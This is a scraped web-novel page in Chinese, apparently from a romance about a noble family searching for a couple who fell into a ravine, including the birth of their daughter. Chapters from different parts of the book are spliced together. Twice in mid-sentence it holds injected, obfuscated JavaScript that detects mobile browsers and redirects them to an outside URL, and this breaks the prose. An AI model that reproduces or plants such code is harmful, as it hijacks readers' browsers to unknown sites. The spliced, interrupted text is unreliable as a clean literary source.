他喃喃自语,“我小弟和她一起掉到这崖底来了,我们在找他们。” 他说着眼神亮了起来,抓住白隼,“你是不是能带我们找到他们?” 70. 第 70 章 苏琯煜的声音有点大,将苏声的神智唤了回来。 苏声快步走到还哭作一团的女眷和孩子们那里,颤抖着嗓音,将那张布条递到母亲跟前,“没事,他们没事。” 苏老夫人哭得正凶,没有反应。 “母亲,槿妤生了,母女平安。您看,这是璋小子写的。” 听到“槿妤”“璋小子”,苏老夫人和许玉娘她们哭声都是一顿,泪眼迷蒙地抬起头来。一个个脸上表情还没收住,显得呆滞却又可怜。 苏声见状继续说道:“他们托白隼带了消息来,他们没事。”他语气很快,但声音里带着的欣喜感染了二人。 苏老夫人怀疑自己年纪大了,有了幻听,她呆愣愣地看着长子,脑子仍旧没有转过来。 而许玉娘满脑子都是“没事”“没事了”,根本想不起来要去看他手中的传书。 还是苏琯煜大步走过来,拿过父亲手中的布料,认出这是中衣一角,被撕下来的。 他快速看完正面的“母女平安”四个字,手有些微微发抖——武人的手最是沉稳,这是他此前从未有过的。 布料背面也有血迹渗出,他翻过去展开,很快将上面的信息看完。 他将那布条又放到母亲手里,转身去找妻子许萱娘,“他们没事,弟妹生了个女儿。” 他语气很慢,给许萱娘反应的时间,然后又继续说道:“他们在一处山洞里住下了,但是什么都缺。” “孩子的小包被、襁褓,给弟妹换洗的衣裳……这些都没有。” 许萱娘这时也反应过来,抚着心口,压住奔涌而出的狂喜。 等冷静下来,她很快从车厢里取出一早准备好的东西,挑挑拣拣重新收拾了起来,“消息是谁送来的?要怎么将东西给他们?” “能将他们接回来吗?槿妤才生产,要小心照看才是。” 山洞里什么都没有,苏琯璋可以将就着对付,可产妇和刚出生的婴儿都遭不住。 苏琯煜听着妻子的问话,便知道她方才没听到父亲说的话,便指了指此时窝在车厢顶部朝他们看来的白隼。 “小弟托白隼带来的消息。” 他环顾一圈,发现其余人也都止住了哭声,此时脸上的激动早已代替了悲痛。孩子们更是蹦蹦跳跳的,脸上还挂着泪,却已经笑了出来。 大家都知道消息了。 白隼歪了歪头,圆溜溜的眼睛睁着,小脑袋埋在翅膀上,蹭了蹭。可能是十分不明白这些人为什么方才还哭得那么伤心,现下却又笑容堆了满面。 苏声很快走过来,看了一眼许萱娘挑选出来的东西,“白隼能抓着一只羊在天上飞,这些东西也定然能够送到他们手上。” “你准备一下,带人跟着白隼去找他们,看能不能将他们接回来。” 许玉娘抹了把脸上的泪,也不住地点头,“带上璋小子入冬的棉袍去,槿妤才生完,不能受风。” 一家子风风火火的,很快将事情敲定下来。 苏琯煜和听闻消息赶回来的苏琯文带着人,跟在白隼后头,飞快地穿过层林峭壁,最后在一处毫无缝隙的山壁面前停下。 “白隼就是飞到下边去了?”苏琯煜问三堂弟。 不是他怀疑自己的目光,实在是这里和宣槿妤苏琯璋他们坠崖的地方相距甚远,且前方也没有路了。 苏琯文点头,他也看到了,白隼就是从这里减了速度,飞了进去。 “我还听到它飞进去后振翅的声音了,应当还是继续往上飞了。”苏琯文说。 二人只庆幸东西都给白隼抓在爪子里带过去了。 他们竟没料到过不去,最终还是没能找到人。 二人回去时,清风也才带回从附近很远的山脚下村民口中探知的消息。 “那些百姓都说,从悬崖上掉下去的人没有活着的。至少他们没有再见到人出来。”清风对宣文晟说。 他还不知道宣槿妤和苏琯璋二人还活着的消息,只小心翼翼地打量着宣文晟的面色,生怕他又再次哭起来。 三公子这眼睛已经肿成这样,再哭下去,双眼就怕保不住了。 他一个大男人,竟如此能哭。 清风也是开了眼,但他也伤心着小姐和姑爷的事,这念头也只是在脑中一闪而过。 他如此谨慎,生怕主子再情绪失控。 却不想宣文晟只是“哦”了一声,脸上竟还带着藏不住的笑,“他们还活着。槿妤生了个女儿,我当舅舅了。” 清风一愣,只以为主子疯了,开始出现臆想。 宣文晟见他的眼神,就知道他在想些什么,也没恼,和他解释说:“白隼带回的消息,苏大哥和三哥已经带人去找他们了。” “咦?他们回来了。”宣文晟看向清风身后。 苏家其余人也很快围拢过来,纷纷问道:“怎么样?找到他们没有?怎么没带他们回来?” 苏琯煜将山壁拦路的消息说了。 清风这时也补充,将他方才还没讲完的消息说了,“对了,那些百姓说,这群山里头有一座被围起来的山峰。他们祖辈曾带人找过几次,都没能找到进去的路。” 他看着脸色变得有些不好的众人,“我现场给他们画了图,都说小姐和姑爷掉下去的,就是这座被困起来的山峰。” 宣槿妤醒来时,鼻尖萦绕着一股浓郁的鸡汤香气,还混合着淡淡的竹子清香。 她睡意还未全消,只习惯性去看坐在她身侧的苏琯璋。 苏琯璋正哄着饿了在嘤嘤哭泣着的女儿,声音压得极低,“爹爹喂你喝了水对不对?等娘亲醒来再喝奶好不好?” 他竟在和一个刚出生未满一个时辰的孩子“讲道理”。 宣槿妤看着这对父女,心里是满满涨涨的欢喜。 睡意也全然消散了。 “把孩子给我。”她将手伸出薄袄来。 苏琯璋将孩子放到她身侧,调整好了方便孩子喝奶的姿势。 宣槿妤忽然意识到一个问题,不好意思地去看他,“你怎么还站在这儿?” 真奇怪,她怀着女儿的时候被他伺候着沐浴更衣也十分自然;才生了孩子,却不敢让他看她喂奶了。 宣槿妤因失血而变得苍白的娇靥上泛起淡淡的红晕,为她添了几分血色。 苏琯璋淡笑了声,转身走到他方才放在石壁凸起处的竹筒跟前,将浸在里边的纯白碎布拿了出来,拧干后递给宣槿妤。 “还是热的,你喂女儿之前擦一擦。” 她才生完孩子,不知道有没有奶水,用热巾子擦会好一些。 这都是老产婆教他的。 他没说要擦哪里,但宣槿妤却在瞬间听懂了,面上登时便烧了起来,耳朵通红。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15969019|174460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见她接过碎布,苏琯璋便十分自觉地背过身去,“我不看你,只要帮忙了就和我说。” 真是的,他站在这里也能听见的呀! 只转念一想,依这男人的耳力,便是他走到外面的小山洞中也是能听到这里的动静的,便忍着羞意将中衣解开了。 孩子哭也是乖乖的,没有嚎啕大哭,只是嘤嘤嘤地低声哭泣,瞧着怪让人心疼的。 宣槿妤作为母亲的怎么受得了,忙将还泛着热意的碎布放在身上,照着苏琯璋说的方法擦拭了一番。 孩子终于能接触到她的口粮,本能地大口吮吸起来。 “嘶。”宣槿妤忍不住轻呼了声,真的好疼。 苏琯璋忙转过身,蹲在她面前,紧张地问:“怎么了?” 此时也顾不得这男人在看着了,宣槿妤委屈极了,含泪看着他,“女儿饿了多久了?” 才出生的小人儿,劲儿竟那般大。 苏琯璋便明白过来,瞧见她那处都有些泛红,眼里闪过心疼。 “她小半个时辰前哭过一次,我喂她喝了点温水。” 那时宣槿妤睡得正熟,他怎么忍心将她叫醒。 苏琯璋小心翼翼地摸了摸女儿的头,听着她大口大口吞咽的声音,心想,槿妤肯定疼狠了。 只是,便是再疼,谁也没有提出不喂了的想法。 “你醒来前,她哭了第二回,想来是真的饿狠了。”苏琯璋抱歉地说。 宣槿妤看着他面上的歉意,忽然想笑,于是她也真的笑了,“苏琯璋,又不是你的错,你在抱歉什么?” “你是能够让孩子不饿,还是忍心在那时候叫醒我?”她都听到了他哄孩子的话了。 “在你眼里,我是那等蛮不讲理的人吗?” 苏琯璋忙摇头。 宣槿妤定定地看着他。 苏琯璋眼里很快漫上笑意,“嗯,槿妤是在心疼我。” 宣槿妤赧然地将视线转开,却没反驳他的话。 于是苏琯璋眼中的笑意很快蔓延到他那张清俊无双的脸上,在唇边翘起一个张扬的弧度。 他极少有这样开心到抑制不住脸上的笑的时候,而第一次是如愿娶到她。 苏琯璋起身,俯首在她脸上亲了亲。 宣槿妤摸了摸被他亲过的地方,浅浅地笑开。 待到孩子吃饱,苏琯璋将她接过来,小心地将她的小脑袋靠在自己肩上,轻轻地给她拍起了嗝来。 宣槿妤将中衣整理好,抬眼朝父女二人看去,最先看到的却是苏琯璋破破烂烂的中衣下摆。 好似比她睡前时看到的还要再破些。 中衣下摆应当被苏琯璋撕了三次,第一次撕下来的碎布被用作抹布擦了石床;第二次的碎布略大一些,被用于传信了。 而她没有见到的第三回…… 宣槿妤眼角余光瞥见一抹纯白,那是方才她用完随手放在身旁的碎布——这第三次,是被她用来擦那处了。 她面上泛了红,眼中却有笑意散开。 “苏琯璋,你冷不冷?” 冷的话,她还有件披风,虽然对于他来说过于小了,但他们如今这处境,可以凑活嘛! 她还真挺想看这男人穿着她披风的样子的。 未免被他看出自己看笑话的小心思,宣槿妤揉了揉脸颊,将上面掩藏不住的促狭表情揉散。 71. 第 71 章 女儿小声地打了个奶嗝,苏琯璋将她放回宣槿妤身边时,便听见了妻子关切的问话。 他随着她的视线低下头,看到自己褴褛的中衣。 “不冷。”他将孩子调整了个姿势,便看着她小嘴儿动了动,不知是否是在回味她的口粮,而后很快就睡着了。 好了,没有笑话看了。 宣槿妤小心地摸了摸女儿稀疏毛茸的胎发,柔软如棉絮的手感惹得她爱不释手。 “她睡得好快。” 她目光一直在孩子小脸上流连,皱巴巴、红通通的,分明不好看甚至可能还有点丑;但她却有种,世上谁也比不得她女儿好看的感觉来。 苏琯璋蹲在石床边,闻言轻笑了一声,“像个小猪崽。”他说。 宣槿妤瞪了他一眼,怎么可以这么说自己的女儿?! 但这男人的话到底还是影响了她,她越看也越觉着孩子熟睡的模样像只小猪崽。 咳咳,这样不好。她女儿日后可是要成为京中明珠的贵女,怎么可以是个小猪崽? 宣槿妤偏过头,不敢再去看孩子。 “都怪你。”她抓过苏琯璋搭在她手上诊脉的手,咬了一口。 她脉象平稳——除了气血虚弱,这是很正常的产后之脉,苏琯璋心下稍松。 见她咬他,他只闷笑,“看来槿妤也觉得像。” 回答他的,是再一记轻咬。 出完气,宣槿妤摸了摸被她咬出来的两个牙印,触手只觉得这男人体息温热,“你还真的不冷。” 她将他的手放开,再偏头去瞥他几乎没了半幅的衣摆,眉眼间又漫上笑意,“哪里来的乞儿,竟还挺干净体面。” 她扫过来的一眼,眉目灵动,带着天真烂漫,和苏琯璋当初第一次见她时的眼神一模一样。 他就是因她这眼神对她一见钟情、非卿不娶的。 胸中激荡着初见的悸动,和夫妻间两情相悦的温情,还有初为人父的喜悦,苏琯璋一时说不出话来。 只看着她的眼神,让宣槿妤脸红心跳,却又舍不得移开目光。 “那夫人可愿意给小的一个赏赐?”苏琯璋开口,声音不复往日的清润,而是低沉中带了一丝哑意。 宣槿妤不想他会这样回应,一时失言。 等回过神来时,便听得这男人继续说道:“既然夫人不说话,便是默认了。不劳烦夫人,小的自己来取这赏赐。” 她瞪大眼睛,双唇也微微张开,显然惊愕极了。 他在说什么? 捉弄人不成还反被调戏,宣槿妤被他大胆而又促狭的话捉弄得臊红了脸,才要说话,脸上便落下一片阴影。 是苏琯璋在俯身,薄唇也随之落下,微张的唇瓣给了他可乘之机。 顾忌着她的身子,苏琯璋很快就退开,“会不舒服吗?” 他一手撑在她脸侧,一手抚摸着她微微泛红的脸颊。 因为石床有点低,他身量又高,腰腹弓起一个惊人的弧度。露出的精壮白皙的薄薄肌理让宣槿妤想起些不合时宜的东西,脸上越发作烧。 “怎么脸这么红?”苏琯璋有些紧张,“可是身子不适?” 他的语气里多了几分懊恼,她才生完孩子,他不该这样放任自己的。 宣槿妤抓住他往下欲要为她诊脉的手,磕磕巴巴道:“没有,你别紧张。” 迎着他依旧不放心的眼神,她不自然地移开视线,“我,我就是有点热。” 这崖底不冷,甚至暖如春季,而这大山洞中隔着一层薄薄的石壁,还有一口温泉。 而她身下垫了两层外裳,身上还盖了一层薄袄,加之石床上持续温和地涌来的温泉地热,她身子确实有些热了。 没看苏琯璋才穿了一件中衣,身子就已经很暖和了么? 听她说热,苏琯璋才松了口气,摸了摸她的头,见额头没有汗,再去探她脖子和后背,也是干爽的。 “你现在受不得凉,我们也没有旁的衣物了。”他说着对她露出一个抱歉的笑,“如果受不住,就将披风和薄袄换过来如何?” 宣槿妤想了想,同意了。 苏琯璋便从石床另一侧取来宣槿妤的披风,展开,迅速给她换好了盖着的衣裳。 只换衣裳的间隙,他已经瞧见了宣槿妤身下的濡湿。是底下的外袍被血浸湿了一片——他方才掀开薄袄去看的时候还没有。 宣槿妤此时也察觉到身下的异样,身子那处亦有些黏腻。 一直萦绕在鼻尖的鸡汤香气中也染了一丝血腥气。 对于恶露排出的事,苏琯璋显然早有准备,很快走出了大山洞。 他再返身时,手中拿了两个高高的三联竹筒,被他清洗过的白布浸在其中一筒水里。 宣槿妤能看到竹筒上方飘着的白雾,这表明水是热的。 他在她睡着的这段时间里,竟做了这么多事!身下还痛着,看着他动作不停地忙活着,她心里却柔软非常。 苏琯璋很快替宣槿妤清理好身下的血污,换上了被他清洗干净烘干的中裤。 底下他的外袍上的血迹已经干透了,因为还会继续弄脏,便也没急着清洗,怕挪动宣槿妤时让她受凉。 “若娘和嫂子们看到白隼带去的传信,定会知道我们的处境。”他俯身在宣槿妤额头上亲了亲,抱歉道:“只委屈你先将就一下。” 老产婆和他说过,排恶露时未免一直弄脏中裤,有些富贵人家是会用柔软的棉质月事带绑在身下,只要勤换月事带即可。 早在三月前,他们经过以织造闻名的岸南镇,他就托宣文晟的商队采买回来不少质地柔软舒适的棉布和大量棉花,也托母亲二婶和三位嫂嫂做好了一箱子月事带。 却不想,他们竟会落到这崖底来,身边什么也没有。她何时受过这样的委屈,吃过这样的苦头? 想着,苏琯璋脸色有些黯然。 宣槿妤揽住他的脖子,在他脸上也吻了吻,“不是你的错。” 他已经很努力地给她们母女二人创造一个舒适的环境了,条件所限,她怎么会忍心看他自责。 被她亲过,苏琯璋眼里恢复了温和,亦含了些许笑意。知道她也在心疼自己,便转移话题。 “饿不饿?我煮了鸡汤,要端过来吗?” 宣槿妤也一直闻到萦绕在山洞里的那股浓郁的鸡汤香气,只她确实还没什么胃口,身子太累了,便摇摇头。 苏琯璋知她现在身子疲乏,但也没有劝她现在吃东西,只又说起她定会十分感兴趣的话题来。 “女儿的胞衣我安置在了山洞门口的桃树下, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15975305|174460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 愿她和桃树一起健康成长。” 果真,宣槿妤眼睛又亮了起来,“你有没有用什么东西包住?” 按大盛习俗,胞衣是要用瓮装好再填入土中的。只他们哪里来的瓮?只好就着手头能找到的东西,总归能包好就可以。 他们的处境,也容不得他们挑剔。 苏琯璋将女儿换了个姿势侧睡着,闻言回道:“用你的比甲包的。” 他身上的衣裳,披风和外袍都被垫在宣槿妤身下了,薄袄如今裹在女儿身上,他也就一件破烂的中衣可以裹身。 总不能用他的下裳来包裹,他虽是她的父亲,但到底也不合适,且也太委屈他们的女儿了。 亦不能用竹叶,也过于简陋了些。 宣槿妤显然也想通了这些,将手伸出薄袄,环住女儿小小的身子。 “她真的好小。”她目光很是温柔,忽然想起什么,抬眼去看苏琯璋,“女儿出生时多重?” 她知道苏琯璋因为常年用兵器的缘故,对于重量十分敏感。 她曾兴致上来了,拉着他玩闹,摆了满院子的物品,让他估算出各自的重量。最后用秤去称,结果他竟估算得八九不离十,可让当时的她惊奇了许久。 苏琯璋果真是知道的,“六斤六两,我们的女儿是个会体贴娘亲的。” 宣槿妤听娘亲、婆母和嫂嫂们都说过正常孩子出生时的体重是多少,他们的女儿不算轻也不算重,算是相对于比较容易生产的体重,生下来也较为健康好带的。 再听苏琯璋如此说,她含笑轻轻地点了点孩子皱巴巴的小脸儿。 “我想喝鸡汤了。”宣槿妤说。 得知夫妻二人无事,妹妹更是平安诞下他的外甥女,宣文晟喜不自胜。 便是苏琯煜和苏琯文带回二人被困的消息,也没能影响到他的好心情。 不就是暂时被困嘛!他妹妹运气那般厉害,定会走出来的。 说不定被困也只是因为上苍见妹妹才生完孩子,不忍心看他们折腾她,才特意安排的。 宣文晟双眼还红肿得厉害,此时又笑起来,便是再俊的一张脸,此时也丑得没眼看——若林清婉或方沅沅在时,边便会如此吐槽她们的儿子或夫君。 “遭了,妹妹坐月子要喝的汤汤水水,吃的饭菜要怎么办?” “等我们做好,白隼送过去会不会已经洒了或是冷了?” “她夜里若是想吃东西怎么办?” 宣文晟絮絮叨叨的,显然是开心过了,又开始担心起来。 许玉娘擦了擦眼角,安慰亲家舅兄,“璋小子会煮汤做菜,不会让槿妤太遭罪的。” 膳食方面她倒是不担心,只是崖底那样的简陋之地,到底是委屈小儿媳了。 常湄言此时也放下心来。 宣槿妤和苏琯璋作为她的小弟妹和小叔子,出了事她当然会很伤心。 只她比旁人还多了一份歉疚。 宣槿妤是为了救她的女儿雯姐儿才出的事。而宣槿妤坠崖,连带着苏琯璋也跳了下去。 三命换一命。 她实在担心女儿以后的处境,尤其昨夜雯姐儿状似呆傻的状态,更是让她心酸又心疼。 得知二人平安的消息,常湄言安下心之后,便想得比较多,也想得深了些。 24-30 第24章 第24章他后知后觉地发现宣槿妤…… 不多时,有黑色的烟雾飘出。 苏琯璋看了一眼宣槿妤的动作,她正背对着他,于是他什么也没瞧出来。再看一旁的母亲和几个嫂子,便见她们齐齐对他使着眼色,让他莫拆台。 于是他狐疑地瞧了一眼仍在给小婶婶捧场、夸她烧火厉害的几个孩子,起身走到火堆旁,只一眼,他便笑了。 这是在烧火,还是在灭火呢? 亏孩子们夸得出来,居然还快夸出花儿来了。 不过他也没有拆穿宣槿妤的拙劣烧火手法,只在她快要将火弄熄灭之前接过她手中临时充当烧火棍的木柴,“你歇歇,我来烧火。” 身后瞧着的苏老夫人乐呵呵地笑,对长子说:“没有仆妇帮忙,我们一家子也是能做饭的。” 苏声温声应了,“是,往后也不愁了”。 许玉娘将脸转过去,也笑。 多稀罕啊!他们这一家子轮到到如今境地,竟还能自得其乐,也算不错了。她心里很是欢悦。 …… 宣槿妤如愿喝到了鲜美的菌菇鸡汤。 便是没有府中大厨掌勺,他们在这废弃的庙外简简单单地架起火,食材也只有从林子里新鲜打来的鸡、和林清婉塞到马车上的干菌子,简单撒了点盐,这样做出的鸡汤竟也不输名厨所做的美味。 “娘,这鸡汤好好喝。”慕哥儿对丁茜茜撒娇。 丁茜茜摸了摸他的小肚子,圆鼓鼓的肚皮还未完全撑起来,“娘待会儿再给你盛一碗。” 于是慕哥儿如愿再得到一小碗黄澄澄的鸡汤,直喝得肚皮鼓囊囊的。 “好了,小肚子装不下了,别喝了。” 丁茜茜照顾女儿燕姐儿去了,苏二婶边吃边分神留意着幼孙,见这孩子不知停嘴,忙将他的小碗拿了过来。 宣槿妤下半晌才吃过糕点,喝了一碗汤,吃了一小碗米饭和一些野菜便饱了。 她正坐在地上发呆,听到声音便回了神,见慕哥儿被祖母收走了小碗,一脸的不高兴,于是朝他招了招手。 “慕哥儿,来 小婶婶这里。” 苏玉慕是她嫁入苏家后唯一看着出生的孩子,从他那么小的一丁点长到现在矮墩墩的胖团儿模样,心里稀罕得紧。 这孩子也很喜欢她,会走会跳之后一有空就往她和苏琯璋的荆竹园跑,婶侄二人关系十分要好。 宣槿妤一叫,慕哥儿便乐颠颠地小跑过来。 “才吃饱,别跑,慢点走。”离得近,宣槿妤才开口让他莫跑,慕哥儿已经到了她跟前。 “之前教过你的是不是都忘了,嗯?”宣槿妤略严肃地戳了戳慕哥儿的小脸,戳下去一个小小的窝窝,“刚吃完饭不要跑,小肚子会痛的。” 慕哥儿根本不怕冷脸的小婶婶,又被她戳得脸上发痒,笑嘻嘻地应了,“我记住了,小婶婶,我以后不跑了。”他慢吞吞地说,童声清脆。 这当头他早便忘了方才祖母不给他继续喝鸡汤的事。 “乖孩子。” 于是宣槿妤改戳为摸,揉了揉他恢复墩墩的脸蛋儿。孩子脸上的肉肉随着她的动作一弹一弹的,惹得苏琯璋也忍不住伸手捏了一把。 “这小脸脏得。”苏琯璋取笑侄子。 孩子脸上沾的草汁已经干透了,一道一道地粘在脸上,有的还糊成了一团,他们方才竟还下得了手揉捏他小脸蛋儿。 苏琯璋将宣槿妤还放在慕哥儿脸上的手拉下,张开她手心看了看,轻轻地揉了揉。 “没有弄脏你的手。”他对宣槿妤说,轻轻将她纤巧的手掌拢入掌心,眉目间隐有笑意。 方才吃饭的时候宣槿妤除了接过他吹凉的鸡汤,吃下他夹过来的野菜,是一句话也不和他说。 目光也不给一个,即便两人不小心对上眼神,她也很快转开,和旁人说话,就是不搭理他。 他后知后觉地发现宣槿妤在生他的气,因他回她的问题时答得不对。 “方才是我不对,我没好好回答你的话。”苏琯璋道歉,“等会儿我再给你讲讲?”他试探着问。 宣槿妤诧异地看着这男人,他这是转性了?竟还当着小侄子的面这样和她亲密。 她抽回了手,“孩子在呢!”她去看慕哥儿,便发现孩子又是一脸的不高兴。 小叔叔笑完自己就去看小婶婶了,都不理慕哥儿。苏玉慕气鼓鼓地瞪着小叔叔。 宣槿妤推了推苏琯璋,空出一个位置,将孩子拉到二人中间坐下。 “等哥哥姐姐们吃饱了,我们去散步消食好不好?” 慕哥儿小脸不鼓了,面上又有了笑意,他重重地点了点头,“嗯”了好大一声。 惹得正在吃饭的苏家其余人忍俊不禁。 吃饱喝足,一行人熄了火堆。 许玉娘、苏二婶和三位嫂嫂收拾了包袱,抱着帐子围帘、取了洗手盆等进了大殿。陈阳已经为他们一家划分好了位置。 天还未黑透,隐隐的青色里映着一轮白月。 宣槿妤为首,带着一帮孩子在小广场里慢慢地走着,权当消食。苏琯璋紧跟在一旁,充当他们的护卫。 不多时,孩子们又玩了起来,比赛谁走得更快,找了小婶婶做裁判。 于是苏琯璋得了机会,将他和陈阳王虎之间的谈话详细地给宣槿妤说了,总算得了她的好脸。 苏琯璋终于松了口气。 他看着唇角微翘的宣槿妤,心里一动。她总嫌弃自己像块木头桩子,原是想让自己多和她说说话、好好地哄哄她? 瞧得有趣,苏老夫人很快领着苏声跟上孩子们,留给小夫妻俩一个独处的时机。 这一家子悠闲的模样落入王虎眼中,他忍不住找到陈阳,“看他们多轻松,还想着散步,若是白日里也好好走路便好了。” 陈阳诧异地看着他,这人不是才被苏小公子说过,答应不为难他们一家了? 王虎看出他在想什么,脸上有些挂不住,“我就是随口说说。” “他们白日里也有好好在走路的,”陈阳替苏家人说话,“只是他们老的老,小的小,还有一个有了身孕,再如何走也快不起来。” 总不能指望人家老人小孩孕妇都跟他们武夫似的,走路带风。 且不说人家走不走得了,便是走得了,也要出事的。 “反正陛下体恤,并不在意时间,你我只管办好差事便是。”陈阳劝道。 陈阳句句在理,王虎一句反驳的话也没想出来,最后只摸了摸鼻子,告辞离去。 青色消失在天边,夜色掌管人间时,白月好似也有了几分光亮,柔柔地照在一众散心的人身上。 晚风吹来,凉凉的,宣槿妤一个一个摸过孩子们的手,“若是冷了就和大人说,记住了?” 孩子们乖乖地应了。 正这时,苏二婶从大殿中走出来叫人。 “帐子都搭好了,还简单铺了床,拉了帘子。”她对苏老夫人说,“娘,就按我们在刑部牢房里那样分开,您看可不可行?” 苏老夫人没有意见,“你们考虑得很是周全。” 他们一家子男女老少十六人,公爹儿媳、叔嫂侄子侄女都有;既然地方足够大,那基本的男女大防还是要计较的。 像刑部死牢里那样分就很不错。 苏琯璋和宣槿妤是年轻夫妻,自然分到一处。宣槿妤又有了身孕,夜里也方便苏琯璋照顾她。小夫妻俩,即便起夜也不会不自在。 苏声带着四个小男孩儿,都是男子,小兄弟们之间也能互相照顾,苏声夜里要操的心便少很多。 至于剩下的女眷们,人太多了,一个帐子住不下,分两个帐子就不错。 苏老夫人和许玉娘、许萱娘还有彤姐儿住一起,这样一老一小也都有人照顾了。 而苏二婶和她两个儿媳妇儿常湄言、丁茜茜,还有两个孙女燕姐儿、雯姐儿住一起;两个小姑娘还小得很,互相也有个照应,夜里可以搭把手什么的。 还未到休息的时辰,孩子们在三个帐子里钻来钻去,嘻嘻哈哈地笑着闹着。 宣槿妤已经简单擦洗完身子,听到热闹声,转头看苏琯璋也已擦洗完毕,于是忍不住挂起了他们这方帐子的围帘。 慕哥儿最先看到了,于是蹦蹦跳跳地跑到了她身旁来,大方地让她捏脸。 “小婶婶,给你捏。伯祖父刚才要捏我都不给。”他仰着一张小脸,笑得得意。 隔了两座帐子,苏声听见侄孙的声音,不禁失笑。 一帐之隔,许玉娘也在对婆母嗔道:“整日里就爱捏慕哥儿的小脸,真没有个长辈样儿。” 还好慕哥儿没有常如他意给他捏脸,不然孩子日后流口水了可怎么办。 孩子们玩儿累了,被自家娘亲叫了回去。 很快,帐子又传来笑声。 “呀!哪里来的小花猫儿,水都洗脏了。”丁茜茜笑,刮了刮慕哥儿的鼻子。就他最脏,脸上草汁一道一道的,身上的衣裳也都不能看了。 “亏你小婶婶对着你方才脏兮兮的脸蛋都下得了手。”她手脚麻利地给孩子换了一身衣裳。 下午他们不是在赶路,就是在忙着做饭,直到这时才有心思管一管在草丛里钻了一下午,而邋遢不少的孩子们。 孩子们的小衣裳被仔细搓洗干净,而后被齐齐挂在了帐子上端的绳子上。夜里天微凉,但空气是干燥的,第二日便能干了收起来。 第25章 第25章苏琯璋的三个哥哥追了上…… 一夜无话。 翌日天明时,帐子里陆陆续续传出了动静。 昨日一行人中也就公爹苏声和苏琯璋穿了一身劲装,行动最是便宜。 今日不仅是他们二人,祖母苏老夫人、婆母许玉娘、苏二婶和三位嫂嫂,就连七个孩子也都换上了轻便的劲装。 除了还未到习武年龄的慕哥儿,一家子都是练家子,此时齐齐换上了劲装,英姿飒爽的模样惹得宣槿妤羡慕地多看了几眼。 便是矮胖团儿慕哥儿 ,穿着劲装也似模似样的,像个小武童子,就是胖了一点儿。 宣槿妤又打量起自己的着装来。 今日苏家一行人中只有她是一身常服,简单的上衫搭配襦裙,好看是好看不少,但却比他们多了几分束缚。 “你怀着身子,衣裳还是得以舒适为主。”苏琯璋对她说道,已经看出了她的心思。 而且,若是路难行,还有他背着或抱着她,并不需要她穿多简练干劲的衣裳。再说,劲装多有束缚,怕是会勒着她和孩子。 提到孩子,宣槿妤心里的一丝遗憾便也很快消退。等到早食端上来,她便将这件事抛之脑后。 简单用过早食,王虎便来催上路了。 昨日才走了二里路,依着这群人的脚程,他很是担心今日还得露宿荒野。怕今日没有昨夜的好运气,能在天黑之前找到一个废庙容身。 差事不好做。 王虎再次在心里感慨。 宣槿妤瞧着他一脸苦大仇深的模样,对比他昨日张扬硬气的冷脸,心里舒爽几分。 简直像是出了一口恶气。 她没再去看王虎,很快便被慕哥儿吸引了全部的目光。 慕哥儿走在后头,牵着他大哥哥启哥儿的衣摆,两条小短腿不断倒腾着,努力走上十几步,却才走了身后禁军轻轻松松几步的路程。 照慕哥儿这样走下去,那位王千户的脸怕是又要黑了。 想到这里,宣槿妤又想起昨日苏琯璋告诉她的三人间的对话。 “王千户若是不愿意随我等上路,可自行回京。陛下宽宏,想必不会过多为难。这差事不过是换一个人来办而已,算不得什么。” 她想象着清清冷冷、眼神清淡的苏琯璋在说这话时的神情,定是一本正经又兼顾君子之风,即便说着违心的恭维话也没人看得出来。 但实在好笑,宣槿妤昨夜问他说出那句“陛下宽宏”的话,心里虚不虚?这人怎么回答她的? “陛下确是宽宏,不然也难以解释一国之君为何会犯下写错圣旨这样的疏漏来。” 她当时难以置信地看着这人,木头似的人居然也会说这样怪腔怪调的话。 苏琯璋在她额上亲了亲,笑着揽住她,在她耳边轻声道:“放心,他不敢再下圣旨追责苏国公府。一开始是怕朝野嘲笑,现在,这一路都是眼睛;他要体现他的明君风范,更是不会打自己的脸。” 何况,如今漠北战事未定,苏家军和漠北大军胶着之余,仍在坚持找寻二叔的踪迹。 盛誉想必也看出来了,苏家人在,苏家军便也安稳,漠北也才会安稳。这是一个平衡,他不敢轻易打破,至少在有人取代苏家人之前不敢打破。 费尽心思才得到的皇位,他比谁都不希望出现变故。 这些话,苏琯璋只在心里过了一遍,没有说出口。 “你知道了什么?”宣槿妤想着他说的“这一路都是眼睛”,有人跟着他们?她什么也没看出来。 苏琯璋轻描淡写,“昨日从我们出城便开始跟着了,不过他们没有恶意,便随他们跟着。” “那两位带队的知道吗?”宣槿妤十分好奇,压下了那一丝知道被人暗中窥视的不自在。 像现在这样,他们边散步边说话,别人也在暗中盯着? “大抵是知道的。”苏琯璋贴着她的耳朵,温热的鼻息喷在她颈侧与耳道,痒得她忍不住要躲,却被他紧紧箍着腰肢,动弹不得。 “外祖父和父亲也派了人来,我昨日去林子里时他们现身和我见了一面。” 宣槿妤忘了挣扎,“果真?”她有些惊喜。 外祖父和父亲既派了人来,又不想惊动龙椅上那位,想必派的是府中暗卫。说不定还是她眼熟的那几位。 还未到余安府见到三哥哥,但她已经找到可以替她撑腰的人了。 宣槿妤愉悦地想着,又想起她计划报复这臭男人的事来。 今夜?但她现在心情很好,暂且饶了他罢! 